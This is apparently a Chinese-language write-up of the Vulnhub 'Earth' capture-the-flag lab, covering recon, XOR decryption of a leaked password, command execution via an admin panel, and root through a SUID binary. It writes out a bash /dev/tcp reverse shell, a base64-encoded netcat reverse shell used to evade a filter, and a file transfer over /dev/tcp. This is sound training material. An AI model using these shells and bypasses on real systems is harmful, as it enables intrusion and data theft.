环境搭建
该靶场环境来自Vulnhub -------- Difficulty: Easy
靶机与Kali的IP地址只需要在同一局域网即可(同一个网段,即两虚拟机处于同一网络模式),所以需要调整KALI和靶场的网络模式,为了方便测试本地采用NAT模式。
注意,如果用的是比较新版本的VMware,可能存在无法调整虚拟机网卡的情况。
则需要调整虚拟机的兼容性,以便于能正常运行。
信息收集
前期进行一些简单的信息收集工作,收集一些IP信息、端口信息和域名信息等
网络扫描
扫描网卡
因为是在同一个网段,可以直接扫描网卡从而获取靶机IP地址,命令为arp-scan -I eth0 -l
。很显然这里的192.168.47.152
就是靶机的地址信息,如果不敢确定,可以将靶机开关几次。看哪个IP会消失。
使用Nmap扫描网段信息
可以通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap 192.168.47.0/24
,获得靶机地址:192.168.47.152
使用netdiscover扫描网段信息
netdiscover -i eth0 -r 192.168.47.0/24
使用masscan 扫描的网段端口号
可以扫描一些常见端口号信息masscan 192.168.47.0/24 -p 80,22
。
初步渗透
通过使用Nmap进行端口扫描,使用nmap -A -sV -T4 -p- 靶机ip
查看靶机开放的端口。
从中我们可以发现开放的端口有:22、80、443端口,并且443端口需要进行dns解析。如果不配置DNS解析直接访问,会出现400错误。
Hosts文件位置:Windows:C:\Windows\System32\drivers\etcLinux:/etc/hosts内容:192.168.47.152 earth.local 192.168.47.152 terratest.earth.local
直接访问earth.local
和terratest.earth.local
两个域名进行查看。发现两个页面内容相同如下:
有一段不知名的数字,此时看不出任何作用。随便输入一些内容进行测试如下。像是某种加密使用数字进行测试,经过判断初步猜测是异或加密。但是不知道密钥无法解密。
暂时不知道这些字符串如何解密,先放一边,扫描一下目录:dirsearch -u http://earth.local/
37090b59030f11060b0a1b4e0000000000004312170a1b0b0e4107174f1a0b044e0a000202134e0a161d17040359061d43370f15030b10414e340e1c0a0f0b0b061d430e0059220f11124059261ae281ba124e14001c06411a110e00435542495f5e430a0715000306150b0b1c4e4b5242495f5e430c07150a1d4a410216010943e281b54e1c0101160606591b0143121a0b0a1a00094e1f1d010e412d180307050e1c17060f43150159210b144137161d054d41270d4f0710410010010b431507140a1d43001d5903010d064e18010a4307010c1d4e1708031c1c4e02124e1d0a0b13410f0a4f2b02131a11e281b61d43261c18010a43220f1716010d403714171e0b0a550a1859101d064b160a191a4b0908140d0e0d441c0d4b1611074318160814114b0a1d06170e1444010b0a0d441c104b150106104b1d011b100e59101d0205591314170e0b4a552a1f59071a16071d44130f041810550a05590555010a0d0c011609590d13430a171d170c0f0044160c1e150055011e100811430a59061417030d1117430910035506051611120b452402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a
获取了一些文件信息,尝试访问http://earth.local/admin/
,看似是一个管理员命令工具登录页面,可以尝试弱口令登录,发现不成功。此时可以尝试分析其他文件。
在扫描过程中还发现了一个robots.txt
文件,查看内容发现列出了很多内容,发现有个testingnotes
文件,但是不知道是什么文件格式上边列了很多,挨个测试一下。最终发现是个txt文件。
并且testingnotes
文件内容如下。可以得知采用的是XOR加密算法,并且有一个testdata.txt
文件用于测试加密,用户名是terra
。
所以先访问testdata.txt
:https://terratest.earth.local/testdata.txt
查看其中的内容。
XOR解密
初步猜测这段文字可能是加密密钥,从testdata.txt
可以看出,密钥是通过XOR加密发送。猜测第一个页面留下的很有可能是加密后的terra的密码。对每一条信息进行解密,只有最后一条内容看起来像是密码。只不过按照earthclimatechangebad4humans
进行重复。
获取第一个Flag
回到登录页面,尝试登录。发现登录成功,尝试执行简单的命令,发现能成功执行。查看题目要求发现要找两个flag:a user and root flag
。所以现在去尝试查找flag,通过find命令查找,find / -name "*flag*"
。
尝试读取这个文件内容cat /var/earth_web/user_flag.txt
,成功获取第一个flag。
提权
由于第二个是ROOT的flag,并且通过find命令并没有找到。所以当前用户没有权限所以需要提权。尝试反弹shell获取靶机的控制权。但是发现禁止远程连接。bash -i &> /deb/tcp/192.168.47.131/8866 0>&1
。可能是使用了IP地址,尝试通过base64编码绕过echo bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguNDcuMTMxIDY2NjYK | base64 -d | bash
反弹成功之后,通过Python创建一个伪终端。
python3 -c "import pty; pty.spawn('/bin/bash')"
查找具有root权限的文件find / -perm -u=s -type f 2>/dev/null
这个命令是从根目录查找有suid权限的文件(只查文件),然后我们查看/usr/bin/reset_root,发现Earth可能是密码。
查看文件内容,但是很乱很多乱码看不清楚。所以直接检查字符串内容如下:strings /usr/bin/reset_root
,已经告知当重置触发器存在,重置根密码为:Earth
所以此时的目标就是查看哪些触发器可以触发修改密码的操作。直接将文件程序整到kali本地分析一下。
本地kali上进行监听:nc -nlvp 777 > reset_root靶机上运行:cat /usr/bin/reset_root > /dev/tcp/192.168.47.131/7777
到Kali上调试使用strace进行调试:strace ./reset_root
,显示缺少三个文件。所以去靶机上看一下这几个文件,发现靶机上也没有这几个文件。
所以尝试创建这几个文件后在尝试执行下reset_root文件,成功修改su密码为:Earth。
获取第二个Flag
之后通过su命令尝试登录,发现登录成功,成功获取第二个Flag。